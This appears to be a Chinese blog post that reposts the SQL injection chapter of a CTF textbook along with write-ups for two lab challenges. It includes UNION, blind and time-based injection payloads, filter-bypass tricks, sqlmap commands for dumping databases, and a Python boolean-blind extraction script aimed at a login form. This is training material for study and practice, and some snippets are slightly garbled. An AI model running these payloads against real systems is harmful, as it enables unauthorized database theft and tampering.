暂无图片
暂无图片
暂无图片
暂无图片
暂无图片

《从0到1:CTFer成长之路》Web入门 - SQL注入(附解题WP)

在下小黄 2021-08-22
1487
  • 什么叫做SQL注入:开发者在程序编写过程中,对传入用户数据的过滤不严格,将可能存在的攻击载荷拼接到SQL查询语句中,再将这些查询语句传递给后端的数据库执行,从而引发实际执行的语句与预期功能不一致的情况。这种攻击被称为SQL注入攻击。

一、SQL注入基础:

  • SQL注入:是开发者对用户输入的参数过滤不严格,导致用户输入的数据能够影响预设查询功能的一种技术,通常将导致数据库的原有信息泄露、篡改,甚至被删除。

数字型注入和UNION注入:

image.png
# 用户是怎样通过前端语句查询到后端数据的呢,举个例子:

原本的查询语句:
$res = mysqli_query($sconn,"SELECT title,content FROM wp_news WHERE id=".$_GET['id']);

前端URL:http://xxx.xxx.xxx.xxx/sql1.php?id=1
此时的$_GET['id']被赋值为1

MySQL收到的语句:
SELECT title,content FROM wp_news WHERE id= 1

复制

数字型注入:

# 什么叫做数字型注入? 举个简单的例子
http://xxx.xxx.xxx.xxx/sql1.php?id=2   ----->  2页面可以正常访问,查询到2的记录
http://xxx.xxx.xxx.xxx/sql1.php?id=3-1    ----->  还是2这个页面,并且查询到2的记录

从数字运算这个特征行为可以判断该注入点为数字型注入,表现为输入点“$_GET['id']”附近没有引号包裹(从源码也可以证明这点),这时我们可以直接输入SQL查询语句来干扰正常的查询

复制

UNION(联合查询)注入:

  • 通常把使用UNION语句将数据展示到页面上的注入办法称为UNION(联合查询)注入。
UNION 操作符用于合并两个或多个 SELECT 语句的结果集。

请注意,UNION 内部的 SELECT 语句必须拥有相同数量的列。列也必须拥有相似的数据类型。同时,每条 SELECT 语句中的列的顺序必须相同。

SELECT column_name(s) FROM table_name1
UNION
SELECT column_name(s) FROM table_name2

复制

补充:

MySQL 5.0版本后,默认自带一个数据库information_schema,MySQL的所有数据库名、表名、字段名都可以从中查询到。

table_name字段是information_schema库的tables表的表名字段。
表中还有数据库名字段table_schema。
而database()函数返回的内容是当前数据库的名称,group_concat是用“,”联合多行记录的函数。
也就是说,该语句可以联合查询当前库的所有(事实上有一定的长度限制)表名并显示在一个字段中。

复制

字符型注入和布尔盲注:

字符型注入:

image.png
# sql1.php :
$res = mysqli_query($sconn,"SELECT title,content FROM wp_news WHERE id=".$_GET['id']);

# sql2.php:
$res = mysqli_query($sconn,"
SELECT title,content FROM wp_news WHERE id='".$_GET['id']."'");

sql2.php其实与sql1.php相比,它只是在GET参数输入的地方包裹了单引号,让其变成字符串。

在MySQL中,等号两边如果类型不一致,则会发生强制转换。
当数字与字符串数据比较时,字符串将被转换为数字,再进行比较。
字符串1与数字相等;字符串1a被强制转换成1,与1相等;字符串a被强制转换成0所以与0相等。

按照这个特性,我们容易判断输入点是否为字符型,也就是是否有引号(可能是单引号也可能是双引号,绝大多数情况下是单引号)包裹。

尝试使用单引号来闭合前面的单引号,再用“--%20”或“%23”注释后面的语句。
注意,这里一定要URL编码,空格的编码是“%20”,“#”的编码是“%23”。


SELECT title,content FROM wp_news WHERE id='1'#
输入的单引号闭合了前面预置的单引号,输入的“#”注释了后面预置的单引号,查询语句成功执行。
当然,除了注释,也可以用单引号来闭合后面的单引号。

原本的查询语句:
$res = mysqli_query($sconn,"
SELECT title,content FROM wp_news WHERE id='".$_GET['id']."'");

前端URL:http://XXX.XXX.XXX.XXX/sql2.php?id=1'and'1
此时的$_GET['id']被赋值为:1'and'1

MySQL收到的语句:
SELECT title,content FROM wp_news WHERE id=''

SELECT title,content FROM wp_news WHERE id='1'and'1'

这里,AND代表需要同时满足两个条件,一个是id=1,另一个是'1'。
由于字符串'1'被强制转换成True,代表这个条件成立,因此数据库查询出id=1的记录。

复制

布尔盲注:

# 布尔盲注:
SELECT title,content FROM wp_news WHERE id='1'and'a'

1个条件仍为id=1,第2个条件字符串'a'被强制转换成逻辑假,所以条件不满足,查询结果为空。
当页面显示为sqli时,AND后面的值为真,当页面显示为空时,AND后面的值为假。
虽然我们看不到直接的数据,但是可以通过注入推测出数据,这种技术被称为布尔盲注

# 在这种情况下如何获取数据呢?
先试探这个数据是否为'a',如果是,则页面显示id=1的回显,否则页面显示空白;
再试探这个数据是否为'b',如果数据只有1位,那么只要把可见字符都试一遍就能猜到。

# 假设被猜测的字符是'f'   
# 方法一,逐个猜测:比较费时间
http://XXX.XXX.XXX.XXX/sql2.php?id=1'and'f'='a'    -----> 1 and f=a(0)  -----> 1 and 0   X
http://XXX.XXX.XXX.XXX/sql2.php?id=1'
and'f'='b'    -----> 1 and f=b(0)  -----> 1 and 0   X
http://XXX.XXX.XXX.XXX/sql2.php?id=1'and'f'='c'    -----> 1 and f=c(0)  -----> 1 and 0   X
http://XXX.XXX.XXX.XXX/sql2.php?id=1'
and'f'='d'    -----> 1 and f=d(0)  -----> 1 and 0   X
http://XXX.XXX.XXX.XXX/sql2.php?id=1'and'f'='e'    -----> 1 and f=e(0)  -----> 1 and 0   X
http://XXX.XXX.XXX.XXX/sql2.php?id=1'
and'f'='f'    -----> 1 and f=f(1)  -----> 1 and 1   √   ------> id = 1

# 方法二,二分法:
 

复制

Sleep()基于时间盲注:

  • 通过修改sleep( )函数中的参数,我们可以延时更长,来保证是注入导致的延时,而不是业务正常处理导致的延时。与回显的盲注的直观结果不同,通过sleep( )函数,利用IF条件函数或AND、OR函数的短路特性和SQL执行的时间判断SQL攻击的结果,这种注入的方式被称为时间盲注。

报错注入:

  • 此时,只要触发SQL语句的错误,即可在页面上看到错误信息,见图1-2-33。这种攻击方式则是因为MySQL会将语句执行后的报错信息输出,故称为报错注入。
image.png

堆叠注入:

  • 当目标开启多语句执行的时候,可以采用多语句执行的方式修改数据库的任意结构和数据,这种特殊的注入情况被称为堆叠注入。
image.png
  • 数字型注入、UNION注入、布尔盲注、时间盲注、报错注入,这些是在后续注入中需要用到的基础。根据获取数据的便利性,这些注入技巧的使用优先级是:UNION注入>报错注入>布尔盲注>时间盲注。
  • 堆叠注入不在排序范围内,因为其通常需要结合其他技巧使用才能获取数据。

二、注入点:

  • 本节将从SQL语句的语法角度,从不同的注入点位置讲述SQL注入的技巧。

SELECT 注入:

  • SELECT语句用于数据表记录的查询,常在界面展示的过程使用,如新闻的内容、界面的展示等。
  • SELECT语句的语法如下:

注入点在select_expr(列表达式):

  • SELECT语法
image.png
此时可以采取时间盲注进行数据获取,不过根据MySQL的语法,我们有更优的方法,利用AS别名的方法,直接将查询的结果显示到界面中。
访问链接http://XXX.XXX.XXX.XXX/sqln1.php?id=(select%20pwd%20from%20wp_user)%20as%20title

复制
  • 数据库别名AS区别
  • SQL别名

注入点在table_reference:

  • table_reference
    关键词代表查询数据来自的一个或多个表;
  • SQL基础语法 - SELECT语句
$res = mysqli_query($conn, "SELECT title FROM ${_GET['table']}");

SELECT title FROM (SElECT pwd AS title FROM wp_user)x;

复制
  • 当然,在不知表名的情况下,可以先从information_schema.tables中查询表名。在select_expr和table_reference的注入,如果注入的点有反引号包裹,那么需要先闭合反引号。读者可以在自己本地测试具体语句。

注入点在WHERE或HAVING后:

$res = mysqli_query($conn, "SELECT title FROM wp_news WHERE id = ${_GET['id']}");

复制
  • 也是现实中最常遇到的情况,要先判断有无引号包裹,再闭合前面可能存在的括号,即可进行注入来获取数据。
  • 注入点在HAVING后的情况与之相似。
  • SQL HAVING 子句

注入点在GROUP BY或ORDER BY后:

  • 当遇到不是WHERE后的注入点时,先在本地的MySQL中进行尝试,看语句后面能加什么,从而判断当前可以注入的位置,进而进行针对性的注入。
$res = mysqli_query($conn, "SELECT title FROM wp_news WHERE GROUP BY ${_GET['title']}");

title=id desc,(if(1,sleep(1),1))会让页面迟1秒,于是可以利用时间注入获取相关数据。

防御:只要对输入的值进行白名单比对,基本上就能防御这种注入。

复制

注入点在LIMIT后:

前提:MySQL版本 < 5.6
LIMIT后的注入判断比较简单,通过更改数字大小,页面会显示更多或者更少的记录数。
由于语法限制,前面的字符注入方式不可行(LIMIT后只能是数字),在整个SQL语句没有ORDER BY关键字的情况下,可以直接使用UNION注入。

PROCEDURE analyse((SELECT extractvalue(l, concat(ox3a, (IFMIDVERSION(),1,1LIKE 5,BENCHMARK500000SHA11)),1)))),1

复制

INSERT注入:

  • INSERT语句是插入数据表记录的语句,网页设计中常在添加新闻、用户注册、回复评论的地方出现。
image.png
  • 通常,注入位于字段名或者字段值的地方,且没有回显信息。

注入点位于tbl_name:

  • 如果能够通过注释符注释后续语句,则可直接插入特定数据到想要的表内,如管理员表。
$res = mysqli_query($conn,"INSERT INTO {$_GET['table']} VALUES2, 2, 2, 2");

http://XXX.XXX.XXX.XXX/insert.php?table=wp_uservalues(2,'newadmin','newpass')%23

复制
  • 开发者预想的是,控制table的值为wp_news,从而插入新闻表数据。

注入点位于VALUES:

INSERT INTO wp_user VALUES11'可控位置');

INSERT INTO wp_user VALUES10,1)(2,1,'aaa');

复制
  • 如果用户表的第2个字段代表的是管理员权限标识,便能插入一个管理员用户。
  • 在某些情况下,我们也可以将数据插入能回显的字段,来快速获取数据。
  • 假设最后一个字段的数据会被显示到页面上,那么采用如下语句注入,即可将第一个用户的密码显示出来:
INSERT INTO wp_user VALUES (l, 1,'1' ),(22,(SELECT pwd FROM wp_user LIMIT 1));

复制

UPDATE注入:

  • PDATE语句适用于数据库记录的更新,如用户修改自己的文章、介绍信息、更新信息等。
  • UPDATE语句的语法如下:

DELETE注入:

$res = mysqli_query($conn,"DELETE FROM wp_neWs WHERE id= {$_GET['id']")}

复制
  • DELETE语句的作用是删除某个表的全部或指定行的数据。
  • 对id参数进行注入时,稍有不慎就会使WHERE后的值为True,导致整个wp_news的数据被删除。
  • 为了保证不会对正常数据造成干扰,通常使用'and sleep(1)'的方式保证WHERE后的结果返回为False,让语句无法成功执行。

注入和防御:

字符替换:

  • 为了防御SQL注入,有的开发者直接简单、暴力地将诸如SELECT、FROM的关键字替换或者匹配拦截。

只过滤了空格:

  • 除了空格,在代码中可以代替的空白符还有%0a、%0b、%0c、%0d、%09、%a0(均为URL编码,%a0在特定字符集才能利用)和/**/组合、括号等。
image.png

将SELECT替换成空:

  • 遇到将SELECT替换为空的情况,可以用嵌套的方式,如SESELECTLECT形式,在经过过滤后又变回了SELECT。
$ id = str_replace("","",$sql);

$ id = str_replace("SELECT","",$sql);

复制

大小写匹配:

  • 在MySQL中,关键字是不区分大小写的,如果只匹配了"SELECT",便能用大小写混写的方式轻易绕过,如"sEleCT"。

正则匹配:

  • 正则匹配关键字"\bselect\b"可以用形如"/!50000select/"的方式绕过

替换了单引号或双引号,忘记了反斜杠:

# 注入点:
$sqL = "SELECT * FROM wp_ news WHERE id'可控1' AND title = '可控2'"

$sql = "
SELECT FROM wp_news WHERE id ='a\' AND title ='OR sleep(1)#'"

复制
  • 可以看到,sleep()被成功执行,说明可控点2位置已经成功地逃逸引号。使用UNION注入即可获取敏感信息。

逃逸引号:

  • 注入的重点在于逃逸引号,而开发者常会将用户的输入全局地做一次addslashes,也就是转义如单引号、反斜杠等字符,如“'”变为“'”。
  • 在这种情况下,看似不存在SQL注入,但在某些条件下仍然能够被突破。

编码解码:

  • 开发者常常会用到形如urldecode、base64_decode的解码函数或者自定义的加解密函数。
  • 当用户输入addslashes函数时,数据处于编码状态,引号无法被转义,解码后如果直接进入SQL语句即可造成注入,同样的情况也发生在加密/解密、字符集转换的情况。
  • 宽字节注入就是由字符集转换而发生注入的经典案例

意料之外的输入点:

  • 开发者在转义用户输入时遗漏了一些可控点,以PHP为例,形如上传的文件名、http header、$_SERVER['PHP_SELF']这些变量通常被开发者遗忘,导致被注入。

二次注入:

  • 二次注入的根源在于,开发者信任数据库中取出的数据是无害的。
用户输入的用户名admin'or'1经过转义为了admin\'or\'1,于是SQL语句为:
INSERT INTO wp_user VALUES2'admin\'or\'1''some_pass');

SELECT password FROM wp_user WHERE username = 'admin'or'1'

复制

字符串截断:

  • 在标题、抬头等位置,开发者可能限定标题的字符不能超过10个字符,超过则会被截断。

假设攻击者输入“aaaaaaaaa'”,自动转义为“aaaaaaaaa\'”,由于字符长度限制,被截取为“aaaaaaaaa\”,正好转义了预置的单引号,这样在content的地方即可注入。

http://XXX.XXX.XXX.XXX/insert2.php?title=aaaaaaaaa\&content=,1,1),(3,4,(select%20pwd%20from%20wp_user%20limit%201),1)%23

复制

注入的功效:

在有写文件权限的情况下,直接用INTO OUTFILE或者DUMPFILE向Web目录写文件,或者写文件后结合文件包含漏洞达到代码执行的效果。
在有读文件权限的情况下,用load_file()函数读取网站源码和配置信息,获取敏感数据。 
提升权限,获得更高的用户权限或者管理员权限,绕过登录,添加用户,调整用户权限等,从而拥有更多的网站功能。
通过注入控制数据库查询出来的数据,控制如模板、缓存等文件的内容来获取权限,或者删除、读取某些关键文件。
在可以执行多语句的情况下,控制整个数据库,包括控制任意数据、任意字段长度等。
在SQL Server这类数据库中可以直接执行系统命令。

复制

SQL注入小结:

  • 最关键的是根据不同的SQL服务器类型,查找相关资料,通过fuzz得出被过滤掉的字符、函数、关键词等,在文档中查找功能相同但不包含过滤特征的替代品,最终完成对相关防御功能的绕过。

配套题目解析WP - SQL - 1

  • 《从0到1:CTFer成长之路》书籍配套题目,点击即可打开 - 实验环境(i 春秋 需要登录)
  • 点开赛题链接一看:先判断一下类型,很明显就是数值型注入

第一种解法:利用SQLmap工具

image.png
1. 检查注入点:
sqlmap -u "http://ooxx.com/a.php?id=1" 
2. 列数据库信息 
sqlmap -u "http://ooxx.com/a.php?id=1" --dbs 
3. 指定数据库名列出所有表
sqlmap -u "http://ooxx.com/a.php?id=1" -D dbsname(数据库名) --tables 
4. 指定数据库名表名列出所有字段 (爆破字段)
sqlmap -u "http://ooxx.com/a.php?id=1" -D dbsname(数据库名) -T tablename(指定表名) --columns (全部表)
5. 指定数据库名表名字段dump出指定字段 
sqlmap -u "http://ooxx.com/a.php?id=1" -D dbsname(数据库名) -T tablename(指定表名) -C columnname(指定字段名) --dump (将结果导出)
6. cookie 注入      --cookie=COOKIE                 
在需要登录的地方,需要登录后的cookie 执行指定的 SQL 语句 --sql-query=QUERY 
代理注入 --proxy="http://127.0.0.1:8087" 

复制
  • 使用 sqlmap 检查一下注入点:
# 验证一下 SQLmap Payload: 
id=-7802' UNION ALL SELECT NULL,CONCAT(0x7170707671,0x71646157534e716f69674449644671766777485476664a4c44657470737a4e424848566c46784f61,0x7162766271),NULL-- -

复制

image.png
  • 但这还不是flag,那就继续呗但这几个payload都不是,所以这条路走不通, 所以一步一步来。
  • **列数据库信息 **

  • 指定数据库名列出所有表

  • 指定数据库名表名列出所有字段 (爆破字段)

  • **指定数据库名表名字段dump出指定字段 **
  • ?????? 没能显示????
  • 那我们换一种方式,手工注入一下!!!!

第二种解法:手工注入

# 尝试union注入:
-2'union select 1,2,3# -----------> -2%27union%20select%201,2,3%23

# 尝试获取表名:
-2'union select  1,group_concat(table_name),1 from information_schema.tables  where table_schema=database()# -----------> -2%27union%20select %201,group_concat(table_name),1%20from%20information_schema.tables %20where%20table_schema=database()%23

# 通过表名来获取字段名:
-2'
union select  1,group_concat(column_name),1 from information_schema.columns  where table_name='fl4g'# ----------->  -2%27union%20select %201,group_concat(column_name),1%20from%20information_schema.columns %20where%20table_name=%27fl4g%27%23

# 通过字段名来获取flag:
 -2'union select 1,fllllag,1 from  fl4g#  -----------> -2%27union%20select%201,fllllag,1%20from %20fl4g%23

复制

image.png

  • 最后成功得到flag:n1book{union_select_is_so_cool}

配套题目解析WP - SQL - 2

  • 《从0到1:CTFer成长之路》书籍配套题目,点击即可打开 - 实验环境(i 春秋 需要登录)
  • 一开始我以为这题环境进不去,后来才发现应该进的是login.php。
  • 习惯性的查看源代码:发现:如果觉得太难了,可以在url后加入?tips=1 开启mysql错误提示,使用burp发包就可以看到啦。
  • 我直接认输,掏出我的BP 来测试一波

       

  • 鼠标右键,复制保存文件,名称自定义,将文件格式改成.txt
    方便我们后面利用
  • 我将文件命名成3333.txt
    下面将利用到。

第一种解法:利用SQLmap工具

  • 根据题目环境,我们采用POST - 登录框注入方法。
  • 为什么采用POST - 登录框注入方法呢?相信很多小伙伴一定会有疑问了。

像这种是登录窗口的,URL中不是以id=xxxx
结尾的就可以采用这种方法进行尝试
:http:// www.xxx.com Login.asp
http://eci-2zeaeeh8hdp3xetqte3p.cloudeci1.ichunqiu.com/login.php

  • 将保存的3333.txt
    ,剪切到kali
    里面,在终端中打开。(这属于基操,就不演示了)
  • 让我们来尝试破解吧。
  • 尝试找到注入点,指令:sqlmap -r 文件名.txt
 sqlmap -r 3333.txt

复制
  • 爆破的得到的信息:
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: name (POST)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: name=admin' AND 3237=3237 AND 'pPVI'='pPVI&pass=123456

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: name=admin' AND (SELECT 8314 FROM (SELECT(SLEEP(5)))Ffoa) AND 'eRQd'='eRQd&pass=123456
---

复制
  • sqlmap爆当前数据库信息
  • 尝试获取数据库信息,指令:sqlmap -r 文件名.txt --current-db
sqlmap -r 3333.txt --current-db

复制
  • 爆破的得到的信息:
current database: 'note'

复制
  • 用sqlmap爆出库名:note
  • sqlmap.列出指定数据库所有的表名
  • 尝试获取列出指定数据库所有的表名,指令:sqlmap -r 文件名.txt -D note(指定数据库名) --tables
sqlmap -r 3333.txt -D note --tables

复制
  • 爆破的得到的信息:
Database: note
[2 tables]
+-------+
| fl4g  |
| users |
+-------+

复制
  • 用sqlmap爆出表名:fl4g
    ,users
  • sqlmap 列出指定表名的所有列名
  • 尝试获取列出指定表名的所有列名,指令:sqlmap -r 文件名.txt -D note(指定数据库名 )-T fl4g(指定的表名) --columns(全部表)
 sqlmap -r 3333.txt -D note -T fl4g --columns

复制
  • 爆破的得到的信息:
Database: note
Table: fl4g
[1 column]
+--------+-------------+
| Column | Type        |
+--------+-------------+
| flag   | varchar(40) |
+--------+-------------+

复制
  • 用sqlmap爆出列名:flag
  • sqlmap 打印输出表名指定列名字段的值数据
  • 尝试打印输出表名指定列名字段的值数据,指令:sqlmap -r 文件名.txt -D note(指定数据库名 )-T fl4g(指定的表名) -C flag(指定字段名) --dump (将结果导出)
sqlmap -r 3333.txt -D note -T fl4g  -C flag --dump

复制
  • 爆破的得到的信息:
Database: note
Table: fl4g
[1 entry]
+----------------------------+
| flag                       |
+----------------------------+
| n1book{login_sqli_is_nice} |
+----------------------------+

复制
  • 终于拿到 flag:n1book{login_sqli_is_nice}
    大功告成。

第二种解法:利用Python脚本跑

  • 利用脚本进行布尔型注入
  • 脚本内涉及的信息根据自己用bp截取的数据进行修改。
import requests


def Get(url):
    result = ''
    for i in range(1100):
        left = 32
        right = 128
        mid = (left + right) // 2
        while left < right:
            # 查询表名
            # name = "admin' and if(ascii(mid((Select group_concat(table_name) from information_schema.tables " \
            #        "where table_schema=database()),{0},1))>{1},1,0)#".format(i,mid)

            # 查询列名
            # name = "admin' and if(ascii(mid((Select group_concat(column_name) from information_schema.columns " \
            #        "where table_schema=database() and table_name='fl4g'),{0},1))>{1},1,0)#".format(i,mid)

            # 根据表名和列名查询字段值
            name = "admin' and if(ascii(mid((Select flag from fl4g),{0},1))>{1},1,0)#".format(i, mid)

            data = {"name": name, "pass""1223234"}
            res = requests.post(url, data)

            # 这里输入你的正确回显参数 :{"error":1,"msg":"\u8d26\u53f7\u6216\u5bc6\u7801\u9519\u8bef"}
            if "\\u8d26\\u53f7\\u6216\\u5bc6\\u7801\\u9519\\u8bef" in res.content.decode():
                left = mid + 1
            else:
                right = mid
            mid = (left + right) // 2
        # 查询结果结束
        if mid == 32:
            break
        result += chr(mid)
        print(result)
    print(result)

# 这里你的输入URL:
Get('http://eci-2ze95405pp0e0j1nojmj.cloudeci1.ichunqiu.com/login.php')

复制
  • 得到 flag:n1book{login_sqli_is_nice}
    大功告成。

拓展:

  • Defcon China 靶场题 - 内网渗透Writeup
  • SQLmap 工具注入参考资料:
  • SQLmap 注入教程
  • SQL map 注入教程


文章转载自在下小黄,如果涉嫌侵权,请发送邮件至:contact@modb.pro进行举报,并提供相关证据,一经查实,墨天轮将立刻删除相关内容。

评论